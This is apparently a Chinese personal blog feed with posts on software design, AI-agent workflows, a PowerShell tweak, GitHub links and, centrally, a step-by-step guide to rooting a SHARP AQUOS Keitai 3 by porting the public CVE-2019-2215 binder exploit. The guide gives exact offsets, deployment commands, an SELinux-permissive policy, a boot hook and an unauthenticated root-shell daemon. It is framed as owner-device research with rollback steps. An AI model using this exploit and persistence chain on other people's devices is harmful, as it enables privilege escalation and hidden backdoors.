四折光曲

四

先定边界，再做实现。
明确目标、不做什么、完成标准；新增需求先判断是否属于核心职责，能通过扩展解决的能力优先外置。
共享事实只维护一份。
版本、限制、协议等共同依赖的信息应有唯一权威来源，其他位置通过引用或生成获取，避免人工同步。
按变化原因划分模块。
经常一起变化的逻辑放在一起，独立变化的逻辑分开；入口负责组织调用，模块各自承担清晰职责。
让依赖、状态和生命周期显式可见。
减少循环依赖与隐式全局，明确启动、停止、连接和清理过程，使状态可查询、问题可定位。
先定义契约，也定义失败。
对外接口应明确输入、输出、错误、资源限制与兼容性；调用方应能区分执行失败、尚未完成和已经生效。
把重复约束变成自动检查。
能生成的内容不手改，能机械验证的一致性不依赖记忆；生成过程应可重复，写入失败不能破坏已有内容。
让文档各司其职。
分清入门、设计、接口、验证和交接信息，同一事实避免重复维护；历史内容明确归档，随交付物提供的说明必须独立可用。
让验证方式匹配真实风险。
纯逻辑用快速测试，跨环境行为用真实集成验收，复杂交互辅以人工检查；简化环境中的通过不能替代用户环境中的证据。
验证具体结果，也验证失败原因。
不只检查是否成功，还要确认关键输出、状态变化和预期错误；区分环境未就绪与产品缺陷，让失败能够复现。
把变更做成可审查、可交接的闭环。
分开重构与行为变化，同步实现、契约、验证和说明；发布前核对交付内容，记录已知限制，并保留可追溯的版本。

四

设备：SHARP SG805SH/NP805SH/AQUOS ケータイ3
平台：Qualcomm MSM8909 ｜ Android 8.1.0 ｜ Linux 3.18.71-perf
结果：重启自动生效的完整 capabilities root，无需再运行 exploit。
用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → （SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程）永久化。

1. 资源

资源	地址	说明
Sharp OSS 页面	`https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html`	必须用商品名「AQUOS ケータイ3」检索，型番 `SG805SH` 搜不到
内核源码	`http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz`	171,646,693 字节，md5 `d0a7aa6d16cf9441731f61697660f88d`
ARM 工具链	AOSP prebuilts `arm-eabi-4.8`（`android-8.1.0_r1` 分支）	与设备编译器版本一致
CVE-2019-2215 报告	Project Zero issue 1942	Jann Horn & Maddie Stone
ARM32 移植 ★	`https://github.com/flipphoneguy/root-sonim-xp3800`	946 行，含 `docs/arm32-port.md`，本文 exploit 基于它
3.18 PoC 参考	`CrackerCat/cve2019-2215-3.18`、`Karma2424/cve2019-2215-3.18`	3.18 分支专用
基础 PoC	`timwr/CVE-2019-2215`	流传最广的版本

2. 复现官方内核

没有正确的内核符号地址无从定位 exploit ，selinux_enforcing 与 cred 偏移。MSM8909 已 EOL，但 Sharp 公开了源码。

2.1 环境

WSL2 / Ubuntu 22.04（.wslconfig 设 networkingMode=mirrored）
arm-eabi-4.8（AOSP prebuilts）、pahole、secilc

2.2 配置与编译

设备原厂内核配置位于 /proc/config.gz（4375 行，世界可读），直接套用：

tar xzf AQUOS_keitai3_S0018.tar.gz \
    "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18"
cp device.config ./msm-3.18/.config
make ARCH=arm CROSS_COMPILE=$TC olddefconfig

配置：

CONFIG_RANDOMIZE_BASE        ❌  → 无 KASLR，内核地址固定
CONFIG_SLAB_FREELIST_RANDOM  ❌  → 堆风水可控
CONFIG_DEBUG_INFO            ✅  → vmlinux 自带 DWARF
CONFIG_KALLSYMS_ALL          ✅

编译命令：

export KBUILD_BUILD_USER=sharp
export KBUILD_BUILD_HOST=TG840314
export KBUILD_BUILD_VERSION=1
export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019"   # ★ 必须逐字一致
HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon"
make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux

四个编译问题：

scripts/gcc-wrapper.py 是 Python2 → 命令行覆盖 CC=${TC}gcc
dtc 报 yylloc 多重定义（GCC10+ 默认 -fno-common）→ HOSTCFLAGS 补 -fcommon
msm_sensor.h 找不到头文件 → sensor/io/Makefile 补 -I
f_midi.c 找不到 u_f.h → drivers/usb/gadget/Makefile 补 -I

关键：KBUILD_BUILD_TIMESTAMP 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符，.data 段整体偏移，符号地址全废。

2.3 一致性验证（决定性一步）

strings vmlinux | grep -m1 'Linux version'
# 期望：
# Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) )
#   #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019

版本串逐字节一致还不够。设备 /proc/kallsyms 有 131,900 条符号，本地 System.map 有 128,305 条，最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对：

符号	本地 System.map	设备运行值
`commit_creds`	c0138e84	c0138e84
`selinux_enforcing`	c146ef24	c146ef24
`init_cred`	c13171d0	c13171d0
`sys_call_table`	c0106b84	c0106b84

3. 导出结构体偏移

CONFIG_DEBUG_INFO=y 的 vmlinux 自带完整 DWARF，直接用 pahole 读：

pahole -C binder_thread vmlinux
pahole -C task_struct  vmlinux
pahole -C thread_info  vmlinux
pahole -C cred         vmlinux

实测结果：

struct binder_thread           size 0x134 (308)   → 落在 kmalloc-512
    wait_queue_head_t wait     0x50
    struct task_struct *task   0x130              ← UAF 后残留，可泄露
struct task_struct
    void *stack                0x004
    const struct cred *cred    0x3AC              ← ★ 需要替换
struct thread_info
    addr_limit                 0x008
struct cred
    uid 0x004, securebits 0x024,
    cap_inheritable 0x028, cap_permitted 0x030,
    cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048

4. 移植 CVE-2019-2215

4.1

CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计 drivers/staging/android/binder.c 确认：

poll_wait(filp, &thread->wait, wait);      // 脆弱写法依然存在
// binder_thread_release() 里缺少：
//   wake_up_poll(&thread->wait, POLLHUP | POLLFREE);

检查项	结果
`POLLFREE` 出现次数	0
`EPOLLFREE` 出现次数	0
`/dev/binder` 权限	`crw-rw-rw-`（任意进程可打开）

对照：较新机型（如 SH-03M）的源码里 POLLFREE 存在，走不通。

4.2 只改 2 个常量

基于 flipphoneguy/root-sonim-xp3800 的 ARM32 移植版，仅需改两处：

#define SELINUX_ENFORCING          0xc146ef24ul   /* 原值 0xc1310ae8 */
#define OFFSET__task_struct__cred  0x3AC          /* 原值 0x39C */

其余偏移与本机完全一致：

BINDER_THREAD_SZ   0x134
WAITQUEUE_OFFSET   0x50
IOVEC_ARRAY_SZ     38        (0x134 / 8)
IOVEC_INDX_FOR_WQ  10        (0x50 / 8，ARM32 下正好对齐)

4.3 编译

arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c
# 产物：673,424 字节，ELF32 ARM，静态链接

ARM32 对齐、管道时序、两阶段泄露的细节见仓库 docs/arm32-port.md，不再展开。

5. 获取临时 Root

adb push exploit_arm /data/local/tmp/
adb shell chmod 755 /data/local/tmp/exploit_arm
adb shell /data/local/tmp/exploit_arm id

预期输出：

[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH)
[*] start uid=2000 euid=2000
[+] ===== ROOT ===== uid=0 euid=0 gid=0
uid=0(root) gid=0(root) groups=0(root)
getenforce → Permissive

️ exploit 存在竞态，约 1/5 概率导致内核 panic 重启（只会重启，不会变砖）。多试几次即可。
临时 root 只在本次进程树内有效，重启就没了——真正的工作在永久化。

6. 永久化：三件套

6.0

Android 权限是三层叠加，缺任何一层都拿不到「完整 root」：

层	障碍	现象	解法
SELinux（domain）	`shell` 域没有 `capability setuid`	`avc: denied { setuid }`，想写 `enforce` 又被拒（鸡生蛋）	改策略，把 `shell` / `install_recovery` 域设为 permissive
capability（bounding set）	`adbd` 的 bounding set 只有 `0xc0`	setuid 二进制无论如何突破不了	让 init 启动守护进程，继承完整的 `0x3fffffffff`
DAC（uid）	需要 root uid	—	前两者解决后自然获得

实测证据：

adbd(shell):  CapBnd = 00000000000000c0     ← 只有 setgid / setuid
init(pid 1):  CapBnd = 0000003fffffffff     ← 完整 38 个能力

这解释了为什么单纯做一个 setuid su 不行——uid 变成 0 但能力位不够，mount、读 /data/data 等依旧失败。

6.1 A：SELinux 策略改造

可行性前提：/system 无 dm-verity、无 AVB；init 优先加载预编译策略；plat 与 vendor 侧的 .sha256 内容相同（都指向未修改的 CIL），init 判定「预编译策略有效」直接加载 /vendor 里替换的那份。

# 1) 用临时 root 拉取原始策略集合
adb shell "/data/local/tmp/exploit_arm sh -c \
    'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'"
adb pull /data/local/tmp/selinux ./selinux
adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin
# 2) 在 plat_sepolicy.cil 末尾追加两行
cat >> selinux/plat_sepolicy.cil <<'EOF'
(typepermissive shell)
(typepermissive install_recovery)
EOF
# 3) 编译（★ 策略版本必须 30，对应 3.18 的 POLICYDB_VERSION_MAX）
secilc -c 30 -o final_policy.bin \
    selinux/plat_sepolicy.cil \
    selinux/mapping/27.0.cil \
    selinux/nonplat_sepolicy.cil
# 产物：435,814 字节

风险控制：一定要先在 PC 侧用 secilc 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。

6.2 B：开机钩子 install-recovery.sh

/init.rc 里有一个 oneshot 服务，以 init 身份执行脚本（没有 seclabel，不做域转换）：

service flash_recovery /system/bin/install-recovery.sh
    class main
    oneshot

脚本末尾追加，即可拿到完整 bounding set，顺便设 permissive：

# --- 永久 root：设 permissive + 启动 root shell 守护进程 ---
echo 0 > /sys/fs/selinux/enforce
/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &

保留原逻辑只追加这段；权限 750，标签 u:object_r:install_recovery_exec:s0。

6.3 C：root 守护进程 rootd

极简静态 C 程序（591,088 字节），监听 127.0.0.1:<port>，每个连接 fork 一个 shell：

bind(... INADDR_LOOPBACK ...);
accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);

被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。

arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c

7. 部署与验证

7.1 部署顺序（全部通过临时 root 执行）

# 0) 推入产物
adb push final_policy.bin    /data/local/tmp/final.policy
adb push rootd               /data/local/tmp/rootd
adb push su_arm              /data/local/tmp/su_arm
# 1) 替换 SELinux 策略（先备份原始策略）
adb shell "/data/local/tmp/exploit_arm sh -c '\
    cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \
    mount -o remount,rw /vendor; \
    cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \
    chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \
    chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \
    chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \
    sync; mount -o remount,ro /vendor'"
# 2) 修改开机钩子（先备份原文件，再追加 6.2 那段）
adb shell "/data/local/tmp/exploit_arm sh -c '\
    mount -o remount,rw /system; \
    cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \
    printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \
    chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \
    chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \
    sync; mount -o remount,ro /system'"
# 3) 部署 rootd 与备用 su
adb shell "/data/local/tmp/exploit_arm sh -c '\
    mount -o remount,rw /system; \
    cp /data/local/tmp/rootd /system/xbin/rootd; \
    cp /data/local/tmp/su_arm /system/xbin/su; \
    chown 0:0 /system/xbin/rootd /system/xbin/su; \
    chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \
    chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \
    sync; mount -o remount,ro /system'"
# 4) 重启（此后不再需要 exploit）
adb reboot

7.2 验证

adb forward tcp:2323 tcp:2323
# 连接 127.0.0.1:2323，即得 root shell

期望：

uid=0(root) gid=0(root) groups=0(root)  context=u:r:install_recovery:s0
CapEff: 0000003fffffffff      ← 完整能力
CapBnd: 0000003fffffffff      ← 完整 bounding set
mount -o remount,rw /system            → OK
ls /data/data/com.android.settings     → OK
cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds

8. Root 之后怎么用

adb forward tcp:2323 tcp:2323

PowerShell 一行示例：

$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323)
$s = $c.GetStream()
$w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true
$w.WriteLine("id")
Start-Sleep 2
(New-Object IO.StreamReader($s)).ReadToEnd()

两条备用通道：setuid su（uid=0，能力受限）adb shell /system/xbin/su id；exploit（完整 root，约 1/5 概率 panic）adb shell /data/local/tmp/exploit_arm id。

9. 设备上的文件清单

路径	内容	大小 / 权限
`/vendor/etc/selinux/precompiled_sepolicy`	重编译 permissive 策略	435,814 字节
`/system/bin/install-recovery.sh`	开机钩子（原逻辑 + 三行追加）	750
`/system/xbin/rootd`	root shell 守护进程	591,088 字节
`/system/xbin/su`	setuid root（备用）	590,704 字节（4755）
`/data/local/tmp/exploit_arm`	CVE-2019-2215 exploit（备用）	673,424 字节

回滚备份：/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。

10. 回滚

通过 root shell 执行：

mount -o remount,rw /vendor
cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy
mount -o remount,ro /vendor
mount -o remount,rw /system
cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh
rm -f /system/xbin/rootd /system/xbin/su
chmod 750 /system/bin/install-recovery.sh
mount -o remount,ro /system

11. 安全提醒

Root 之后设备安全性明显下降：SELinux 全局 Permissive；shell / install_recovery 域在策略层面被设为 permissive；/system/xbin/su 是 setuid-root，任何能执行它的进程都能拿到 uid 0；rootd 在 127.0.0.1:2323 提供无认证 root shell；/vendor 与 /system 已被修改。请只在自己的设备上操作，需要恢复请见第 10 节。

12. 复盘：为什么这台机器能成

「设备真名」决定检索成败——型番 SG805SH 一无所获，商品名「AQUOS ケータイ3」就能找到官方内核源码；
EOL 芯片的补丁缺口——MSM8909 停更，厂商没有 backport binder 补丁，CVE-2019-2215 可用；
Android 权限是三层叠加——DAC / capability bounding set / SELinux，任缺一层都拿不到「完整 root」；本文分别用 setuid、init 启动、策略修改把三层补齐；
精确复现内核是前提——和真机逐字节对齐的符号地址，exploit 才不需要盲猜；
CONFIG_DEBUG_INFO=y 的 vmlinux 是宝库——pahole 直接读出所有结构体偏移。

本文为安全研究与设备修复目的撰写，所有操作均在自己的设备上进行。

四

关闭 WorkloadsSessionHost / WSAIFabricSvc

停用并禁用 WSAIFabricSvc，清理 WorkloadsSessionHost 进程，即可彻底关闭本地 AI 推理运行时，Recall、Click to Do、语义搜索等本机 AI 功能，可逆。

操作

PowerShell 粘贴以下命令

Start-Process powershell -Verb RunAs -ArgumentList '-NoExit','-Command','Set-Service WSAIFabricSvc -StartupType Disabled; Stop-Service WSAIFabricSvc -Force; Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force'

若已在管理员终端中，直接执行：

Set-Service WSAIFabricSvc -StartupType Disabled
Stop-Service WSAIFabricSvc -Force
Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force

验证 / 恢复

Get-Service WSAIFabricSvc | Format-List Name,StartType,Status
Set-Service WSAIFabricSvc -StartupType Automatic
Start-Service WSAIFabricSvc

四

开源 windows 防火墙

GitHub - tnodir/fort: Fort Firewall for Windows

Fort Firewall for Windows. Contribute to tnodir/fort development by creating an account on GitHub.

GitHub (github.com)

四

GitHub - chenglou/pretext: Fast, accurate & comprehensive text measurement & layout

Fast, accurate & comprehensive text measurement & layout - chenglou/pretext

GitHub (github.com)

超高性能的 js 网页文字动态排版工具

四

AI agent 协作是复合能力：提示词工程、领域知识、管理能力、评估迭代、工具理解。管理视角是好框架，但落到执行，提示词是把目标变成 agent 输入的唯一通道，两者不是对立而是分工。比争论归因更有用的是可操作的流程：不熟悉的架构先用免费网页 AI 摸清整个流程、确定技术栈，输出完整 plan 再派给 agent；出了问题先和免费 AI 会诊，再把结论精确转达。AI 既放大表达漏洞，也放大认知上限——所以把想清楚的成本花在免费的地方，把执行的成本花在想清楚之后。

一、两类工具的成本结构不同

对话 AI 和 agent 的差异，本质不是“聊天和干活”，而是试错成本不同。
网页对话 AI（免费档的 DeepSeek、豆包、ChatGPT 之类）免费或包月，一轮一纠偏，说错了重来没有额外代价。适合陪你想清楚。
agent 按 token 烧钱，自主跑几十步，走偏了错误会复利，发现越晚代价越大。适合执行已经想清楚的事。
推论：没想清楚的事，先跟对话 AI 想清楚；想清楚的方案，交给 agent 执行。这是参谋与执行的分工，也是本文的核心。
边界：熟悉的代码库、小的可逆改动，可以让 agent 直接干。摸底流程是给陌生领域和大决策用的。

二、核心流程：先摸底，再定方案，后派活

以「给内部系统对接钉钉审批流，但你从没做过」为例。

1. 用免费对话 AI 摸清流程

问的问题比得到的答案重要：

主流实现方式有哪几种？各自的代价？
需要哪些 API、SDK、权限申请？
典型的坑在哪？
描述一个典型架构和完整调用链。

警惕一点：对话 AI 有知识截止日期，SDK 版本、API 名称、参数可能记错。关键事实去官方文档核对。它给的是地图，不是路况。
但是现在大多数都带有网络搜索功能，询问最新。

2. 收敛技术栈和架构

让它对比方案，逼它给出选型理由（「方案 A 在我的场景下会撞上什么问题」），最后你拍板。决策留在人手里。

3. 产出具体 plan

让对话 AI 起草分步计划，每步带验收标准。你自己过一遍，砍掉不认同的步骤。此时的 plan 应具体到：做什么、用什么、怎么算做完。

4. 派活给 agent

plan 之外，任务单里必须写环境事实：语言版本、已有依赖、相关文件位置、不能碰的东西。agent 不知道你的环境，它会拿训练数据里的“典型环境”脑补——大量幻觉来源于此。

5. 出问题：先会诊，再精确转达

agent 报错或产出不对时，不要丢一句「再试一次」。把报错原文和相关代码贴给免费对话 AI 会诊，得出结论后，压缩成明确指令转达：

token 获取逻辑有误：改为每次请求前检查 access_token 过期时间，过期先刷新。只改 auth.py，其他不动。
绕这一道的原因：

agent 自主试错烧 token 和时间，且可能在错误方向上跑远；
会诊过程会产生大量已否定的思路，整段贴过去会污染上下文；
会诊逼你把问题想清楚，转达时自然精确。
精确转达的原则：给结论和处方，不给过程；给报错原文，不给你的转述。

三、任务单怎么写

提示词工程落到 agent 场景，就是一张像样的任务单。
差的写法：

帮我加个登录功能。

好的写法：

目标：为现有 FastAPI 项目添加 JWT 登录。
现状：结构见 README；用户表在 app/models/user.py；已用 sqlalchemy。
范围：只新增 auth 相关文件，不改数据库 schema。
验收：POST /login 返回 token；GET /me 用 token 鉴权通过；新增 pytest 测试全绿。
约束：用 pyjwt，不引入新框架。
流程：先列出实施步骤和涉及文件，我确认后再写代码。

六个字段对应的正是经典管理问题：目标（要什么）、现状（上下文）、范围（授权边界）、验收（怎么算完成）、约束（红线）、流程（检查点）。提示词工程和管理能力在一张任务单上汇合。
验收标准最考验领域知识：你不知道什么是「对」，就写不出可测试的标准，也就永远无法验收。
两个高性价比技巧：

复述确认：让 agent 先复述它理解的任务和步骤，确认后再执行。目标错位在最便宜的时候被发现。
先方案后动手：任务单末尾加一句「先给方案，我确认后再改代码」。这是人工批准门禁的提示词实现，既避免微操，也避免甩手。

四、上下文管理

上下文是稀缺资源，管理它就是管理注意力。

给相关的，不给全部。贴三个关键文件，胜过丢整个仓库。
记决策，不记流水账。会话结束让 agent 总结「已确定的事项」，下个会话带摘要进场，不带几十轮聊天记录。
shorthand 有效，但依赖长期协作积累。新会话、新 agent，别默认它听得懂你的黑话。

五、失败诊断：症状 → 层级 → 处方

Agent 失败先分层再动手，避免把模型能力问题归咎于自己的提示词，反之亦然。

症状	层级	处方
产出与目标南辕北辙	目标层	重写目标与验收；用复述确认
方向对，细节错	提示层	补上下文：相关代码、接口、示例
编造不存在的 API 或参数	模型层	贴官方文档片段、锁定版本；或换模型
工具调用失败、文件没改上	工具层	查权限、路径、配置
前几步对，越跑越偏	流程层	任务太大，拆步、加检查点
同一处反复改不收敛	评估层	给可测的验收标准，贴报错原文

六、管理类比的适用边界

顺手说清：agent 无动机、无跨会话记忆、不随协作成长，所以激励、培养、组织政治这些管理要素不适用。适用的部分是目标设定、授权边界、检查点、验收标准——而它们恰恰都要通过提示词落地。

七、实践清单

陌生领域：先用免费对话 AI 摸底，官方文档核对版本和 API。
技术栈、架构：会诊收敛，人拍板。
派活前：写六字段任务单，验收标准必须可测试。
大任务：拆步、设检查点，关键节点人工批准。
出错：先会诊，精确转达，不整段转贴聊天记录。
跨会话：带决策摘要，不带流水账。
反复修不好：先分层诊断，再考虑换模型或改流程。
对模型：不神化，不贬低，认识边界。

管理能力决定方向和稳定性，提示词能力决定每一环的执行质量。而想不清楚的问题，agent 不会替你想清楚，只会替你执行混乱。把想清楚的成本花在免费的对话里，把执行的成本花在想清楚之后。

四

GitHub - FreshRSS/FreshRSS: A free, self-hostable news aggregator…

A free, self-hostable news aggregator…. Contribute to FreshRSS/FreshRSS development by creating an account on GitHub.

GitHub (github.com)

四

对元素njs项目进行了rust重构，不再需要nodejs或php，占用更低性能更好

四

个人使用的代理工具，依赖UDP环境

模拟浏览器的数据流，TLS+内置双加密

占用极低，速度极快，网络环境较好时可以跑满千兆宽带下行
（测试为联通1000兆家庭宽带）

只提供了http代理和socks5代理出口为，需要连接第三方客户端（V2ray等）进行分流等

开源地址：https://github.com/Raven777777/newppp

四

GitHub - iOfficeAI/OfficeCLI: OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required.

OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required. - iOfficeAI/OfficeCLI

GitHub (github.com)

四折光曲

@四折光曲

四折光曲 发布的最新帖子

1. 资源

2. 复现官方内核

2.1 环境

2.2 配置与编译

2.3 一致性验证（决定性一步）

3. 导出结构体偏移

4. 移植 CVE-2019-2215

4.1

4.2 只改 2 个常量

4.3 编译

5. 获取临时 Root

6. 永久化：三件套

6.0

6.1 A：SELinux 策略改造

6.2 B：开机钩子 install-recovery.sh

6.3 C：root 守护进程 rootd

7. 部署与验证

7.1 部署顺序（全部通过临时 root 执行）

7.2 验证

8. Root 之后怎么用

9. 设备上的文件清单

10. 回滚

11. 安全提醒

12. 复盘：为什么这台机器能成

操作

验证 / 恢复

GitHub - tnodir/fort: Fort Firewall for Windows

GitHub - chenglou/pretext: Fast, accurate & comprehensive text measurement & layout

一、两类工具的成本结构不同

二、核心流程：先摸底，再定方案，后派活

1. 用免费对话 AI 摸清流程

2. 收敛技术栈和架构

3. 产出具体 plan

4. 派活给 agent

5. 出问题：先会诊，再精确转达

三、任务单怎么写

四、上下文管理

五、失败诊断：症状 → 层级 → 处方

六、管理类比的适用边界

七、实践清单

GitHub - FreshRSS/FreshRSS: A free, self-hostable news aggregator…

GitHub - iOfficeAI/OfficeCLI: OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required.

四折光曲发布的最新帖子